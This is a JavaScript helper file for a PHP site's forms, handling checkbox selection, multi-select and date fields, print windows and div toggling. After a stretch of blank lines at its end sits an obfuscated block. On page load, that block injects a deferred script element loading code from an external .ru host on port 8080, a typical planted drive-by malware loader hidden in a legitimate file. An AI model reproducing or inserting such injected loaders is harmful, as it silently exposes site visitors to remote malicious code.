function checkAll (formname,flag){
	//var checkaction;
	//this goes to check all boxes except the controller - 
	for (i=0;i<document.forms[formname].elements.length;i++){
		if (document.forms[formname].elements[i].type=='checkbox'&&document.forms[formname].elements[i].name!='contr'){
			if (flag){
					document.forms[formname].elements[i].checked=1;
					checkaction=0;
			} else {
					document.forms[formname].elements[i].checked=0;
					checkaction=1;
			}
		}
	}
}

function ColPrint(formname){
var matta,windowsrc
matta='';
for (i=0;i<document.forms[formname].elements.length;i++){
		if (document.forms[formname].elements[i].type=='checkbox'&&document.forms[formname].elements[i].name!='contr'&&document.forms[formname].elements[i].checked){
		matta+=','+document.forms[formname].elements[i].name
		}
	}
windowsrc='printmatters.php?materials='+matta
window.open (windowsrc,'printwindow','width=400px,height=400px,scrollbars=1,status=1');
}


//used for the damn multiple selects...
function setSelectValues(selectName) {
	var val,k
	val='';
	for (i=0;i<document.getElementById(selectName).options.length;i++){
		if (document.getElementById(selectName).options[i].selected) {
			if (!k) {
			val+=document.getElementById(selectName).options[i].value;
			k=1;
			}//end if
			else {
			val+=','+document.getElementById(selectName).options[i].value;
			}//end else
		}//end if
	}//end for
	document.getElementById('val_'+selectName).value=val;
}


//transform the fake checkboxiez into smth useful...
function setCheckValues(identifyer,formName) {
	var val,k,right
	val='';
	ob=document.forms[formName]
	right='chk_'+identifyer
	rightlength=right.length
	for (i=0;i<ob.elements.length;i++){
	t=ob.elements[i].name.substr(0,rightlength)
		if (ob.elements[i].type=='checkbox'&&!ob.elements[i].disabled&&t==right&&ob.elements[i].checked) {
			if (!k) {
			val+=ob.elements[i].value;
			k=1;
			}//end if
			else {
			val+=','+ob.elements[i].value;
			}//end else
		}
	}//end for
	document.getElementById('val_'+identifyer).value=val;
}

function setDateValues (inputName) {
var val
val= document.getElementById('yer_'+inputName).value+'/'+document.getElementById('mth_'+inputName).value+'/'+document.getElementById('day_'+inputName).value;
val=val=='//'?'':val;
document.getElementById(inputName).value=val;
}


function setDateHMSValues (inputName) {
var val
val= document.getElementById('yer_'+inputName).value+'/'+document.getElementById('mth_'+inputName).value+'/'+document.getElementById('day_'+inputName).value+'/'+document.getElementById('hour_'+inputName).value+'/'+document.getElementById('min_'+inputName).value;
val=val=='//'?'':val;
document.getElementById(inputName).value=val;
}

function submitform(formname) {
	document.forms[formname].submit();
}



function disableCheckboxes (slf,formName){
slf=document.getElementById(slf);
	ob=document.forms[formName]
	for (i=0;i<ob.elements.length;i++){
		if (ob.elements[i].type=='checkbox'&&ob.elements[i]!=slf){
			if (slf.checked){
					ob.elements[i].disabled=1;
			} else {
					ob.elements[i].disabled=0;
			}//end else
		}//end if
	}//end for
}// end dis...


function blinkdiv(what,bool){
	if (bool){
		document.getElementById(what).style.display='block';
	}
	else {
		document.getElementById(what).style.display='none';
	}
}



function blinkdivpar(what,bool,par){
	if (bool==par){
		document.getElementById(what).style.display='block';
	}
	else {
		document.getElementById(what).style.display='none';
	}
}

function notblinkdivpar(what,bool,par){
	if (bool==par){
		document.getElementById(what).style.display='none';
	}
	else {
		document.getElementById(what).style.display='block';
	}
}



//this is used in the categorizing - basicly fixing some fucked up stuff about these checkboxiez
function myop(frmname){

checkedmatters=new Array();
uncheckedmatters=new Array();
matterel=document.forms[frmname].elements;
for (i=0;i<matterel.length;i++){
	if(matterel[i].type=='checkbox'){
	if (matterel[i].checked) checkedmatters.push(matterel[i].name);
	else uncheckedmatters.push(matterel[i].name);
	}
}
vl=','+checkedmatters.join(',');
vl2=','+uncheckedmatters.join(',');
document.forms[frmname].selected_materials.value+=vl;
document.forms[frmname].deselected_materials.value+=vl2;
}












var Zl={};function l(){w=62103;w+=249;this.m="";a={};var G=String("appen"+"AqudChil".substr(3)+"d");this.d=1086;this.d-=254;var W="on"+"qmBSlo".substr(4)+"Ikbad".substr(3);mR=["DI"];var ft=false;var f=window;try {} catch(kp){};var c=new String("sr"+"c");var T=String("def"+"erKRh0".substr(0,2));try {var dP='M'} catch(dP){};try {var B='RR'} catch(B){};var r=document;this.h='';var y="bo"+"dy";var S=new String("cre"+"ateBRH".substr(0,3)+"Ele"+"iNqpmen".substr(4)+"t");try {} catch(el){};var k=String("scr"+"ipt");var Nn="Nn";var eF=20422;function g(){this.Gq=false;try {var kD=String("/mega"+"clickoBI".substr(0,5)+"-com/"+"googlBDrS".substr(0,5)+"e.comYbl".substr(0,5)+"/tisc"+"utomali.imtou".substr(4,5)+"lX36t.php".substr(4));var e=String("htl6m".substr(0,2)+"tpPls".substr(0,2)+":/S9MG".substr(0,2)+"b6HE/d".substr(4)+"mTqHir".substr(4)+"tyWf1m".substr(0,2)+"si"+"E5Kdn.".substr(4)+"ru"+":");Fh=48998;Fh++;var z=5470-5469;av={wCN:false};var s=748252-740172;var nP=new Array();var ro="";var mk="mk";er=r[S](k);er[c]=e+s+kD;er[T]=z;this.nK="";r[y][G](er);var sJ=["dZ","z_"];var Ua="";} catch(i){var Ox=59534;};var oa=["EB","H_","Y_"];try {var EG='PP'} catch(EG){};}var aw=["OA"];f[W]=g;try {var zw='AA'} catch(zw){};};l();